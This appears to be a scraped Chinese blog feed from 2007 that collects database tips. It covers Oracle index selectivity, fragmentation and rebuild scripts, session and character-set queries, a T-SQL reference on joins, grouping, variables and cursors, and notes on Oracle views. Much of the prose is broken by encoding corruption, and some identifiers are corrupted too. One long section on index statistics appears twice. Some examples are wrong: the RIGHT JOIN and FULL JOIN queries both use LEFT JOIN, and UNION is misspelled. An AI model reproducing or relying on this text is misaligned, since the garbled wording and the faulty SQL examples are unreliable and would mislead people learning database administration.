select
column_name,
num_distinct
from user_tab_columns
where table_name='表名'
/

　　列的选择�?NUM_DISTINCT/表中所有行的��L��Q�查询USER_TAB_COLUMNS有助��量每个列的选择性，但它�q�不能精��地��量列的�q�置�l�合的选择性。要��x��量一�l�列的选择性，需要采用手工方法或者根据这�l�列创徏一个烦引�ƈ重新分析表�?br />
　　�? ��定索引的实际碎�?/b>

　　随着数据库的使用�Q�不可避免地对基本表�q�行插入�Q�更新和删除�Q�这样导致叶子行在烦引中被删除，使该索引产生��片。插入删除越频繁的表�Q�烦引碎片的�E�度也越高。碎片的产生使访问和使用该烦引的I/O成本增加。碎片较高的索引必须重徏以保持最��x��能�?br />
　　�Q?�Q�利用验证烦引命令对索引�q�行验证�?br />
　　�q�将有�h(hu��n)值的索引信息填入index_stats表�?br />
validate index 用户�?索引�?br />/

　　�Q?�Q�查询index_stats表以��定索引中删除的、未填满的叶子行的百分比�?br />
select
name,
del_lf_rows,
lf_rows,
round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"
from index_stats
/

　　�Q?�Q�如果烦引的叶子行的��片��过10%�Q�考虑对烦引进行重建�?br />
alter index 用户�?索引�?rebuild
tablespace 表空间名
storage(initial 初始�?next 扩展�?
nologging
/

　　�Q?�Q�如果出于空间或其他考虑�Q�不能重建烦引，可以整理索引�?br />
alter index用户�?索引�?coalesce
/

　　�Q?�Q�清除分析信�?br />
analyze index 用户�?索引�?br />delete statistics
/

�? 索引的选择�?br />
　　索引的选择性是指烦引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录，表烦引列�?980个不同的��|��那么�q�个索引的选择性就�?980/2000=0.99�?br />
　　一个烦引的选择性越接近�?�Q�这个烦引的效率��p��高�?br />
　　如果是��用基于cost的最优化�Q�优化器不应该��用选择性不好的索引。如果是使用��Z��rule的最优化�Q�优化器在确定执行�\径时不会(x��)考虑索引的选择性（除非是唯一性烦引）�Q��ƈ且不得不手工优化查询以避免��用非选择性的索引�?br />
　　��定索引的选择性，可以有两�U�方法：(x��)手工��量和自动测量�?br />
　　�Q?�Q�手工测量烦引的选择�?br />
　　如果要根据一个表的两列创��Z��列�ƈ�|�烦引，可以用以下方法测量烦引的选择性：(x��)

　　列的选择�?不同值的数目/行的��L�� /* ��接�q?��好 */

select count(distinct �W�一列||'%'||�W�二�?/count(*)
from 表名
/

　　如果我们知道其中一列烦引的选择性（例如其中一列是主键�Q�，那么我们��可以知道另一列烦引的选择性�?br />
　　手工�Ҏ(gu��)��的优�Ҏ(gu��)��在创建烦引前��p��评估索引的选择性�?br />
　　�Q?�Q�自动测量烦引的选择�?br />
　　如果分析一个表�Q�也�?x��)自动分析所有表的烦引�?br />
　　�W�一�Q��ؓ(f��)了确定一个表的确定性，��p��分析表�?br />
analyze table 表名
compute statistics
/

　　�W�二�Q�确定烦引里不同关键字的数目�Q?br />
select distinct_keys
from user_indexes
where table_name='表名'
and index_name='索引�?
/

　　�W�三�Q�确定表中行的��L��Q?br />
select num_rows
from user_tables
where table_name='表名'
/

　　�W�四�Q�烦引的选择�?索引里不同关键字的数�?表中行的��L��Q?br />
select i.distinct_keys/t.num_rows
from
user_indexes i,
user_tables t
where i.table_name='表名'
and i.index_name='索引�?
and i.table_name=t.table_name
/

　　�W�五�Q�可以查询USER_TAB_COLUMNS以了解每个列的选择性�?br />
　　表中所有行在该列的不同值的数目�Q?br />
select
column_name,
num_distinct
from user_tab_columns
where table_name='表名'
/

　　列的选择�?NUM_DISTINCT/表中所有行的��L��Q�查询USER_TAB_COLUMNS有助��量每个列的选择性，但它�q�不能精��地��量列的�q�置�l�合的选择性。要��x��量一�l�列的选择性，需要采用手工方法或者根据这�l�列创徏一个烦引�ƈ重新分析表�?br />
　　�? ��定索引的实际碎�?/b>

　　随着数据库的使用�Q�不可避免地对基本表�q�行插入�Q�更新和删除�Q�这样导致叶子行在烦引中被删除，使该索引产生��片。插入删除越频繁的表�Q�烦引碎片的�E�度也越高。碎片的产生使访问和使用该烦引的I/O成本增加。碎片较高的索引必须重徏以保持最��x��能�?br />
　　�Q?�Q�利用验证烦引命令对索引�q�行验证�?br />
　　�q�将有�h(hu��n)值的索引信息填入index_stats表�?br />
validate index 用户�?索引�?br />/

　　�Q?�Q�查询index_stats表以��定索引中删除的、未填满的叶子行的百分比�?br />
select
name,
del_lf_rows,
lf_rows,
round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"
from index_stats
/

　　�Q?�Q�如果烦引的叶子行的��片��过10%�Q�考虑对烦引进行重建�?br />
alter index 用户�?索引�?rebuild
tablespace 表空间名
storage(initial 初始�?next 扩展�?
nologging
/

　　�Q?�Q�如果出于空间或其他考虑�Q�不能重建烦引，可以整理索引�?br />
alter index用户�?索引�?coalesce
/

　　�Q?�Q�清除分析信�?br />
analyze index 用户�?索引�?br />delete statistics
/

�? 重徏索引
　　�Q?�Q�检查需要重建的索引�?/p>
　　�Ҏ(gu��)��以下几方面进行检查，��定需要重建的索引�?/p>
　　�W�一�Q�查看SYSTEM表空间中的用��L(f��ng)��引�?/p>
　　��Z��避免数据字典的碎片出玎ͼ�要尽量避免在SYSTEM表空间出现用��L(f��ng)��表和索引�?/p>
select index_name
from dba_indexes
where tablespace_name='SYSTEM'
and owner not in ('SYS','SYSTEM')
/
　　�W�二�Q�确保用��L(f��ng)��表和索引不在同一表空间内�?/p>
　　表和索引对象的第一个规则是把表和烦引分��R��把表和相应的烦引徏立在不同的表�I�间中，最好在不同的磁盘上。这样可以避免在数据��理和查询时出现的许多I/O冲突�?/p>
set linesize 120
col "OWNER" format a20
col "INDEX" format a30
col "TABLE" format a30
col "TABLESPACE" format a30
select
i.owner "OWNER",
i.index_name "INDEX",
t.table_name "TABLE",
i.tablespace_name "TABLESPACE"
from
dba_indexes i,
dba_tables t
where i.owner=t.owner
and i.table_name=t.table_name
and i.tablespace_name=t.tablespace_name
and i.owner not in ('SYS','SYSTEM')
/
　　�W�三�Q�查看数据表�I�间里有哪些索引
　　用户的默认表�I�间应该不是SYSTEM表空��_(d��)��而是数据表空间。在建立索引�Ӟ��如果不指定相应的索引表空间名�Q�那么，该烦引就�?x��)徏立在数据表空间中。这是程序员�l�常忽略的一个问题。应该在建烦引时�Q�明��的指明相应的烦引表�I�间�?/p>
col segment_name format a30
select
owner,
segment_name,
sum(bytes)
from dba_segments
where tablespace_name='数据表空间名'
and segment_type='INDEX'
group by owner,segment_name
/
　　�W�四�Q�查看哪个烦引被扩展了超�q?0��?/p>
　　随着表记录的增加�Q�相应的索引也要增加。如果一个烦引的next extent��D��|�不合理�Q�太��）�Q�烦引段的扩展变得很频繁。烦引的extent太多�Q�检索时的速度和效率就�?x��)降低�?/p>
set linesize 100
col owner format a10
col segment_name format a30
col tablespace_name format a30
select
count(*),
owner,
segment_name,
tablespace_name
from dba_extents
where segment_type='INDEX'
and owner not in ('SYS','SYSTEM')
group by owner,segment_name,tablespace_name
having count(*) >10
order by count(*) desc
/

　　�Q?�Q�找出需要重建的索引后，需要确定烦引的大小�Q�以讄��合理的烦引存储参数�?/p>
set linesize 120
col "INDEX" format a30
col "TABLESPACE" format a20
select
owner "OWNER",
segment_name "INDEX",
tablespace_name "TABLESPACE",
bytes "BYTES/COUNT",
sum(bytes) "TOTAL BYTES",
round(sum(bytes)/(1024*1024),0) "TOTAL M",
count(bytes) "TOTAL COUNT"
from dba_extents
where segment_type='INDEX'
and segment_name in
(
'索引�?',
'索引�?',
......
)
group by owner,segment_name,segment_type,tablespace_name,bytes
order by owner,segment_name
/
　　�Q?�Q�确定烦引表�I�间�q�有��_��的剩余空间�?/p>
　　��定要把索引重徏到哪个烦引表�I�间中。要保证相应的烦引表�I�间有��够的剩余�I�间�?/p>
select round(bytes/(1024*1024),2) free(M)
from sm$ts_free
where tablespace_name='表空间名'
/
　　�Q?�Q�重建烦引�?/p>
　　重徏索引时要注意以下几点�Q?/p>
　　a.如果不指定tablespace名，索引��徏在用��L(f��ng)��默认表空间�?/p>
　　b.如果不指定nologging�Q�将�?x��)写日志�Q�导致速度变慢。由于烦引的重徏没有恢复的必要，所以，可以不写日志�?/p>
　　c.如果出现资源忙，表明有进�E�正在��用该索引�Q�等待一�?x��)再提交�?/p>
alter index 索引�?br />rebuild
tablespace 索引表空间名
storage(initial 初始�?next 扩展�?
nologging
/
　　�Q?�Q�检查烦引�?/p>
　　寚w��建好的烦引进行检查�?/p>
select *
from dba_extents
where segment_name='索引�?
/
　　�Q?�Q�根据烦引进行查询，��查烦引是否有�?/p>
　　使用相应的where条�g�q�行查询�Q�确保��用该索引。看看��用烦引后的效果如何�?/p>
select *
from dba_ind_columns
where index_name like '表名%'
/
　　然后�Q�根据相应的索引��进行查询�?/p>
select *
from '表名%'
where ......
/
　　�Q?�Q�找出有��片的表�I�间�Q��ƈ攉��其碎片�?/p>
　　重徏索引后，原有的烦引被删除�Q�这样会(x��)造成表空间的��片�?/p>
select 'alter tablespace '||tablespace_name||' coalesce;'
from dba_free_space_coalesced
where percent_blocks_coalesced!=100
/
　　整理表空间的��片�?/p>
alter tablespace 表空间名 coalesce

☜♥☞MengChuChen 2007-03-08 08:45 发表评论

Oracle 常用技巧和脚本选择�?yanlixin4csdn �?Blog

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:42:00 GMT

Oracle 常用技巧和脚本选择�?yanlixin4csdn �?Blog
如何查看ORACLE的隐含参敎ͼ�

ORACLE的显式参敎ͼ�除了在INIT.ORA文�g中定义的外，在svrmgrl中用"show parameter *"�Q�可以显�C�。但ORACLE�q�有一些参数是以“_”，开头的。如我们非常熟�?zh��n)�的“_offline_rollback_segments”等�?

�q�些参数可在sys.x$ksppi表中查出�?

语句�Q�“select ksppinm from x$ksppi where substr(ksppinm,1,1)='_'; �?

2. 如何查看安装了哪些ORACLE�l��g�Q?

�q�入${ORACLE_HOME}/orainst/�Q�运�?/inspdver�Q�显�C�安装组件和版本受��?

3. 如何查看ORACLE所占用�׃�n内存的大��？

可用UNIX命��o(h��)“ipcs”查看共享内存的起始地址、信号量、消息队列�?

在svrmgrl下，用“oradebug ipc”，可看出ORACLE占用�׃�n内存的分�D�和大小�?

example:

SVRMGR> oradebug ipc
-------------- Shared memory --------------

Seg Id Address Size
1153 7fe000 784
1154 800000 419430400
1155 19800000 67108864

4. 如何查看当前SQL*PLUS用户的sid和serial#?

在SQL*PLUS下，�q�行�Q?

“select sid, serial#, status from v$session

where audsid=userenv('sessionid');�?

5. 如何查看当前数据库的字符集？

在SQL*PLUS下，�q�行�Q?

“select userenv('language') from dual;�?

或：(x��)

“select userenv('lang') from dual;�?

6. 如何查看数据库中某用��P��正在�q�行什么SQL语句�Q?

�Ҏ(gu��)��MACHINE、USERNAME或SID、SERIAL#�Q�连接表V$SESSION和V$SQLTEXT�Q�可查出�?

SQL*PLUS语句�Q?

“SELECT SQL_TEXT FROM V$SQL_TEXT T, V$SESSION S WHERE T.ADDRESS=S.SQL_ADDRESS

AND T.HASH_VALUE=S.SQL_HASH_VALUE

AND S.MACHINE='XXXXX' OR USERNAME='XXXXX' -- 查看某主机名�Q�或用户�?

/�?

7. 如何删除表中的重复记录？

例句�Q?

DELETE
FROM table_name a
WHERE rowid > ( SELECT min(rowid)
FROM table_name b
WHERE b.pk_column_1 = a.pk_column_1
and b.pk_column_2 = a.pk_column_2 );

8. 手工临时强制改变服务器字�W�集

以sys或system��d��pȝ��Q�sql*plus�q�行�Q�“create database character set us7ascii;".
有以下错误提�C�：(x��)
* create database character set US7ASCII
ERROR at line 1:
ORA-01031: insufficient privileges
实际上，看v$nls_parameters�Q�字�W�集已更�Ҏ(gu��)��功。但重启数据库后�Q�数据库字符集又变回原来的了�?
该命令可用于临时的不同字�W�集服务器之间数据倒换之用�?
9. 怎样查询每个instance分配的PCM锁的数目

用以下命令：(x��)

select count(*) "Number of hashed PCM locks" from v$lock_element where bitand(flags,4)<>0

/

select count(*) "Number of fine grain PCM locks" from v$lock_element

where bitand(flags,4)=0

/

10. 怎么判断当前正在使用何种SQL优化方式�Q?

用explain plan产生EXPLAIN PLAN�Q�检查PLAN_TABLE中ID=0的POSITION列的倹{�?

e.g.

select decode(nvl(position,-1),-1,'RBO',1,'CBO') from plan_table where id=0

/

11. 做EXPORT�Ӟ��能否��DUMP文�g分成多个�Q?

ORACLE8I中EXP增加了一个参数FILESIZE�Q�可��一个文件分成多个：(x��)

EXP SCOTT/TIGER FILE=�Q�ORDER_1.DMP,ORDER_2.DMP,ORDER_3.DMP) FILESIZE=1G TABLES=ORDER�Q?

其他版本的ORACLE在UNIX下可利用��道和split分割�Q?

mknod pipe p

split -b 2048m pipe order & #��文件分割成�Q�每�?GB大小的，以order为前�~�的文�Ӟ��(x��)

#orderaa,orderab,orderac,... �q�将该进�E�放在后台�?

EXP SCOTT/TIGER FILE=pipe tables=order

☜♥☞MengChuChen 2007-03-08 08:42 发表评论

ORACLE 杂谈

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:40:00 GMT
     摘要: ORACLE 杂谈ORACLE 面试问题-技术篇�Q?�Q�ORACLE 面试问题-技术篇�Q?�Q?  �q�也许是你一直期待的文章�Q�在��x��q�部分技术问题的同时�Q�请务必阅读有关面试中有关个人的问题和解�{�（�q�部分将在下几期中出玎ͼ�。这里的回答�q�不是十分全面，�q�些问题可以通过多个角度来进行解释，也许你不必在面试�q�程中给出完全详��的�{�案�Q�只需要通过你的解答佉K��试考官了解你对ORACLE概念的熟�(zh��n)�程度。�?. 解释�?..  阅读全文

☜♥☞MengChuChen 2007-03-08 08:40 发表评论

常用SQL资料

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:40:00 GMT

常用SQL资料

Transact-SQL具体可以参阅《Transact-SQL参考�?tsql.hlp)(��写《T-SQL�?

建意�Q?/div>
在写SQL Script时最好能��数据操作SQL的保留字用大�?/div>
注：(x��)

此处语法格式只是常用格式�Q��ƈ不是SQL标准格式�Q�标准格式请参阅《T-SQL�?/div>
�Q�在例子中的SQL无实际意义）

选择

SELECT

SELECT 可以选择指定的数据列

如：(x��)

SELECT * FROM sysobjects

SELECT [name] FROM syscolumns

当在SQL中存在系�l�保留字时应用“[]”引��P��或在SQL中存在特�D�字�W�也应用“[]”引��P��

如：(x��)

       SELECT [Object Name] FROM Objects

在��用别名时也应注意以上原则�Q�别名��用可以用以下两种�Ҏ(gu��)��Q?/div>
       Column_name AS alias

       Column_name alias

中间的AS可以省略

在SELECT中可以��用条仉��择语法�Q�参见下面的“条件�?/div>
       如：(x��)

              SELECT [name],xtype,CASE WHEN xtype=’U�?THEN ‘用戯��?ELSE CASE WHEN xtype=’S�?THEN ‘系�l�表�?END END AS �c�d�� FROM sysobjects

�q�回表：(x��)

name

xtype

�c�d��

syscolumns

S

�pȝ��?/div>

tabledefine

U

用户�?/div>

��两个查询合成单独的�q�回表：(x��)

用UNION关键�?/div>
如SELECT A,B FROM Table1

UNOIN

SELECT C,D FROM Table2

说明�Q?/div>
       在��用UNION�Ӟ��若无ALL参数则默认将�q�虑相同的记录，

       如：(x��)

Table1

Table2

ID

TF1

VALUE1

ID

TF2

VALUE2

1

A

10

5

A

10

5

B

20

6

D

21

2

A

30

3

C

31

3

C

40

1

B

41

       SELECT TF1,VALUE1 FROM Table1

       UNION

       SELECT TF2,VALUE2 FROM Table2
       �q�回表：(x��)



TF1

VALUE1

A

10

B

20

A

30

C

40

D

21

C

31

B

41

       其中可以看出��了一个”TF2=A ,VALUE2=10”的记录

       但用以下查询�?/div>
       SELECT TF1,VALUE1 FROM Table1

       UNION ALL

       SELECT TF2,VALUE2 FROM Table2

       �q�回表：(x��)



TF1

VALUE1

A

10

B

20

A

30

C

40

A

10

D

21

C

31

B

41

       刚此查询��返回所有记�?/div>
       此问题可能会(x��)出现在报表统计上�Q�如一个员工在不同日期内做了相同的产品与数据，但在使用非ALL方式�q�行合计时将�?x��)少合计一条记�?/div>

与INTO联用

SELECT �? INTO B FROM A

可以��A 表的指定数据存入B表中

应用�c�d��Q?/div>
备䆾数据表：(x��)

              SELECT * INTO Table1_bak FROM Table1

       创徏新表

              SELECT * INTO New_Table1 FROM Table1 WHERE 1<>1

              SELECT TOP 0 * INTO New_Table1 FROM Table1

       保存查询�l�果

              SELECT Field1,Field2 INTO Result FROM Table1 WHERE ID>1000

       创徏新表�q�在新表中加入自动序�?/div>
              一表有些表需要一个自动编号列来区别于各行

              SELECT IDENTITY (INT,1,1) AS AutoId,* INTO new_Table1 FROM Table1

              其中IDENTITY函数说明�Q?/div>
                     格式�Q?/div>
                            IDENTITY ( [seed,increment])

                     参数说明�Q?/div>
                            Datatype:数据�c�d��Q�视记录数定�c�d��Q�一般可以定INT型，具体可以参考SQL的极限参�?/div>
                            Seed:开始数��|��卛_��始的基数�Q�默认�ؓ(f��)1

                            Increment:增量�Q�步长即数据间的间隔�Q�默认�ؓ(f��)1

              上面的SQL卌��C�，自动�~�号�?开始�ƈ每行�?

�q�回的表为：(x��)

AutoId

Field1

Field2

1

Hello

Joy

2

Hello

Tom

3

Hi

Lily

4

Hello

Lily

              注：(x��)

                     IDENTITY�q�可以在创徏表时讄��

                     格式�Q?/div>
                            IDENTITY ([seed, increment])

                     如：(x��)

                            创徏�?/div>
                            CREATE TABLE Table1 (

                                   AutoId int IDENTITY(1,1), �?autoid int identity

                                   Field1 nvarchar(30),

                                   Field2 nvarchar(30)

)

                            修改�?/div>
                            ALTER TABLE Table1 ADD AutoId int IDENTITY (1,1)

              在进行数据插入时应注意IDENTITY_INSERT�q�个属性的讄��

                     �?SET IDENTITY_INSERT ON �Ӟ��则不能进行隐式插�?/div>
                     如：(x��)
                            SET IDENTITY_INSERT Table1 ON
                            INSERT INTO Table1 SELECT (‘r1c1�?’r1c2�?         --�q�样��׃��(x��)出错
                            必需使用�Q?/div>
                            INSERT INTO Table1 SELECT (1,’R1C1�?’R1C2�?

                     只能在SET IDENTITY_INSERT

OFF 时才允许隐式插入
                     如：(x��)
                            SET IDENTITY_INSERT Table OFF
必需使用�Q?/div>
                            INSERT INTO Table1 SELECT (‘r1c1�?’r1c2�?

                            否则

                            INSERT INTO Table1 SELECT (1,’R1C1�?’R1C2�? --�q�样��׃��(x��)出错

              在��用隐式插入后可以用@@IDENTITY�q�个�pȝ��值来�q�回插入行的�~�号

                     INSERT INTO Table1 SELECT(‘R1C1�?’R1C2�?

                     �q�回表：(x��)

AutoID

Field1

Field2

1

R1C1

R1C2

                     SELECT @@IDENTITY

                     �q�回��|��(x��)

                            1

              在应用程序中可以用以下方法做�Q?/div>
                     set recs=cnn.execute(“INSERT INTO Table1 SELECT(‘R1C1�?’R1C2�?�?

                     recordnum=cnn.execute(“SELECT @@IDENTITY�?.fields(0).value

                     以上语句执行后recordnum的值将讄��为最后一个自动编�?/div>

兌��

       用例:

Table1

Table2

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

5

TFI2-1

11

5

TFI1-2

20

6

TFI2-2

21

2

TFI1-3

30

3

TFI2-3

31

3

TFI1-4

40

1

TFI2-4

41

Table2

INNER JOIN

只显�C�Z��表一一对应的记�?/div>
SELECT * FROM Table1 INNER JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：(x��)

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

1

TFI2-4

41

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

LEFT JOIN(LEFT OUTER JOIN)

昄��左表所有记录与双��对应左表的记录，当在双��中无记录�Q�则双��相应字段用NULL填充

SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：(x��)

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

1

TFI2-4

41

2

TFI1-3

30

NULL

NULL

NULL

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

RIGHT JOIN(LEFT OUTER JOIN)

昄��双��所有记录与左表对应双��的记录，当在左表中无记录�Q�则左表相应字段用NULL填充

SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：(x��)

ID

TF1

VALUE1

ID

TF2

VALUE2

NULL

NULL

NULL

6

TFI2-2

21

1

TFI1-1

10

1

TFI2-4

41

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

FULL JOIN(FULL OUTER JOIN)

昄��左右两表所有记录，当左表无记录�Q�则左表相应字段用NULL填充�Q�当双��无记录则双��相关字段用NULL填充

SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID

�q�回表：(x��)

ID

TF1

VALUE1

ID

TF2

VALUE2

1

TFI1-1

10

1

TFI2-4

41

2

TFI1-3

30

NULL

NULL

NULL

3

TFI1-4

40

3

TFI2-3

31

5

TFI1-2

20

5

TFI2-1

11

NULL

NULL

NULL

6

TFI2-2

21

说明�Q?/div>
       在进行多�U�关联的时候应该采用就�q�关联原�?/div>
如：(x��)

       SELECT * FROM Table1 INNER JOIN Table2 INNER JOIN Table2-1 ON Table2.ID=Table2-1.ID ON Table1.ID=Table2.ID

即Table2与Table2-1兌��

Table1与Table2兌��

建意�Q?/div>
       在写此类兌��Ӟ��最好将��句格式结构化

       如：(x��)

       SELECT *

       FROM

       Table1

       INNER JOIN Table2

              INNER JOIN Table2-1

              ON Table2.ID=Table2-1.ID

       ON Table1.ID=Table2.ID

       WHERE

       ID IN (1,2,3)

注：(x��)

       在写完查询语句后�Q�可以由“企业管理器”进行SQL语句的格式化�Q�但�q�一�q�程出来的语句一定要�q�行��试�Q�因为在他自动格式化时可能会(x��)把某些复杂的关系搞错

分组

GROUP BY

�Q�没什么好��_(d��)��Q�）

如：(x��)

       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B ORDER BY A

注：(x��)

       在进行GROUP BY 时应该注意GROUP BY 中字�D늚�使用�Q?/div>
       只要在同一查询语句中则所有未�q�行骤合操作的字�D�都需要被GROUP�Q?/div>
       如上面的SQL中，字段A(ch��),与B都未被骤合，�q�字�D�A(ch��)被排序，而字�D�D被骤合函数SUM�q�行汇�ȝ��?/div>
       因此字段A(ch��),B需要被GROUP 而D则不�?/div>
如：(x��)

    SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B,C ORDER BY C

在此查询中，虽然字段C没有被选择�Q�但他被ORDER因此字段C也应该在GROUP的字�D�中

如：(x��)

       SELECT A,B,SUM(D) FROM Table1 WHERE A IN (SELECT D FROM Table1 T1 WHERE NOT C IS NULL) GROUP BY A,B,C ORDER BY C

       在此查询中字�D�A(ch��),B为选择字段�Q�字�D�C为排序字�D�，但字�D�D虽然也在同一张表Table1中，但他在子查询中因此不用进行对D的GROUP

       若要对聚合结果进行筛选则应该使用HAVING关键字，而不是WHERE关键字，

       如：(x��)

       SELECT A,B,SUM(D) FROM Table1 WHERE COUNT(*)>2 GROUP BY A,B   ---�q�样��会(x��)出错�Q�因为COUNT��Z��个聚合函敎ͼ�在WHERE子句中不能对聚合函数�q�行�{��?/div>
       应改为：(x��)

       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B HAVING COUNT(*)>2

应用GROUP可以�q�行分类�l�计

相关的关键字为CUBE,ROLLUP但不建意使用�q�两个关键字�Q?/div>
在一般情况下�Q�如果程序中的GRID有分�c�L��d��能，那相应的速度�?x��)比使用�q�两个关键字要快�Q?/div>
与这两个关键字一起��用的聚合函数为GROUPING()�Q�即当进行项目分�c�L��L��GROUPING()��会(x��)�q�回1�Q�反之则�?�Q��ؓ(f��)可以写统计标题时提供参考，

具体说明请参见《T-SQL�?/div>
具体实例在《SOMIC人力资源��理》中<部门人员汇总表>中有应用

条�g

CASE WHEN

此组关键字的功能可以代替IF…THEN�?ELSE或SELECT CASE

语法�l�构�Q?/div>
CASE [expression]

      WHEN THEN result

        [ELSE else_result ]

    END

在查询中使用此语句时应尽量在END后加别名�Q?/div>
       如：(x��)

              SELECT [name],xtype,CASE WHEN xtype=’U�?THEN ‘用戯��?ELSE CASE WHEN xtype=’S�?THEN ‘系�l?/div>
�q�回表：(x��)

name

xtype

�c�d��

syscolumns

S

�pȝ��?/div>

tabledefine

U

用户�?/div>

       详细用例请参考《�h�l�计件工资》中<人员-部门产量汇总表>

       用此语句与SELECT用UNION联用能做行列换位

�q�程性语句应�?/div>

变量定义

在SQL中用户变量是以@打头的字�?�pȝ��变量用@@打头

如：(x��)

       @i

       @tmpStr

定义�Ҏ(gu��)��Q?/div>
Declare @i int

Declare @tmpStr nvarchar(30)

在完成变量定义后最好进行初始设�|�，�?/div>
Set @i=0

Set tmpStr=’�?/div>
�?/div>
Select @i=0,@tmpStr=’�?/div>
在SQL中对变量的赋值应用SET或SELECT�q�行

游标定义

游标�Q�可以将查询�l�果�q�回为游标类�?/div>
定义�Ҏ(gu��)��Q?/div>
Declare cursor

For

�?

declare cursor GetName

for SELECT [name] FROM sysobjects

游标使用�Ҏ(gu��)��Q?/div>
打开游标�Q?/div>
Open

如：(x��)open GetName

��索游标：(x��)

Fetch [NEXT | PRIOR | FIRST | LAST] form [into …]

如：(x��)

Fetch next from GetName into @tmpName

当取值成功后�Q�相应记录��g��(x��)填充在@tmpName变量中，�q�@@FETCH_STATUS变量�|��ؓ(f��)0�Q?/div>
若失败则@@FETCH_STATUS变量�?1

关闭游标

在��用完游标后关闭他�Q�以便其他进�E��用此游标

CLOSE

如：(x��)

       Close GetName

删除游标

在��用完游标后，如不再需要应该删除已使用游标�Q?/div>
DEALLOCATE

如：(x��)

Deallocate GetName

☜♥☞MengChuChen 2007-03-08 08:40 发表评论

ORACLE SQL性能优化�p�d��

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:37:00 GMT
     摘要: ORACLE SQL性能优化�p�d�� (�? 20.       用表�q�接替换EXISTS      通常来说 , 采用表连接的方式比EXISTS更有效率      SELECT ENAME      FROM EMP E      WHERE EXISTS (SELECT ‘X�?                      FROM DEPT                      WHERE...  阅读全文

☜♥☞MengChuChen 2007-03-08 08:37 发表评论

ORACLE学习(f��n)�W�记视图

☜♥☞MengChuChen — Wed, 07 Mar 2007 12:08:00 GMT

ORACLE学习(f��n)�W�记视图

2007-01-29 09:34

Oracle的数据库对象分�ؓ(f��)五种�Q�表�Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q�序列，索引和同义词�?/font>

    视图是基于一个表或多个表�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图的逻辑表，本��n不包含数据，通过它可以对表里面的数据�q�行查询和修攏V�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图��Z��的表�U�Cؓ(f��)��?/font>

    视图是存储在数据字典里的一条select语句�?nbsp;通过创徏视图可以提取数据的逻辑上的集合或组合�?/font>

视图的优点：(x��)

      1.�Ҏ(gu��)��据库的访问，因�ؓ(f��)视图可以有选择性的选取数据库里的一部分�?/font>

      2.用户通过��单的查询可以从复杂查询中得到�l�果�?/font>

      3.�l�护数据的独立性，试图可从多个表检索数据�?/font>

      4.对于相同的数据可产生不同�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�?/font>

视图分�ؓ(f��)��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图和复�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

      ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图只从单表里获取数�?br>      复杂视图从多�?br>
      ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图不包含函数和数据�l?br>      复杂视图包含

     ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图可以实现DML操作
     复杂视图不可�?

视图的创建：(x��)

    CREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name

   [( alias [, alias ]...)]

  AS subquery

  [WITH CHECK OPTION [CONSTRAINT constraint ]]

  [WITH READ ONLY]

OR REPLACE    �Q�若所创徏的试囑ַ��l�存在，ORACLE自动重徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

FORCE              �Q�不��基表是否存�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE都会(x��)自动创徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

NOFORCE         �Q�只有基表都存在ORACLE才会(x��)创徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�Q?/font>

alias                   �Q��ؓ(f��)视图产生的列定义的别名；

subquery           �Q�一条完整的SELECT语句�Q�可以在该语句中定义别名�Q?/font>

WITH CHECK  OPTION �Q?/font>

                            插入或修改的数据行必��L��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图定义的约束；

WITH READ ONLY �Q?/font>

                           �?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图上不能进行�Q何DML操作�?/font>

例如�Q?/font>

       CREATE  OR  REPLACE  VIEW  dept_sum_vw

               (name,minsal,maxsal,avgsal)

       AS  SELECT d.dname,min(e.sal),max(e.sal),avg(e.sal)

       FROM    emp e,dept d

       WHERE  e.deptno=d.deptno

       GROUP  BY  d.dname;

视图的定义原则：(x��)

       1.视图的查询可以��用复杂的SELECT语法�Q�包括连�?分组查询和子查询�Q?/font>

       2.在没有WITH CHECK OPTION�?nbsp;READ ONLY 的情况下�Q�查询中不能使用

          ORDER BY 子句�Q?/font>

       3.如果没有为CHECK OPTION�U�束命名�Q�系�l�会(x��)自动��Z��命名�Q��Ş式�ؓ(f��)SYS_Cn;

       4.OR REPLACE选项可以不删除原视图便可更改其定义�ƈ重徏�Q�或重新授予对象

          权限�?/font>

视图的查询：(x��)

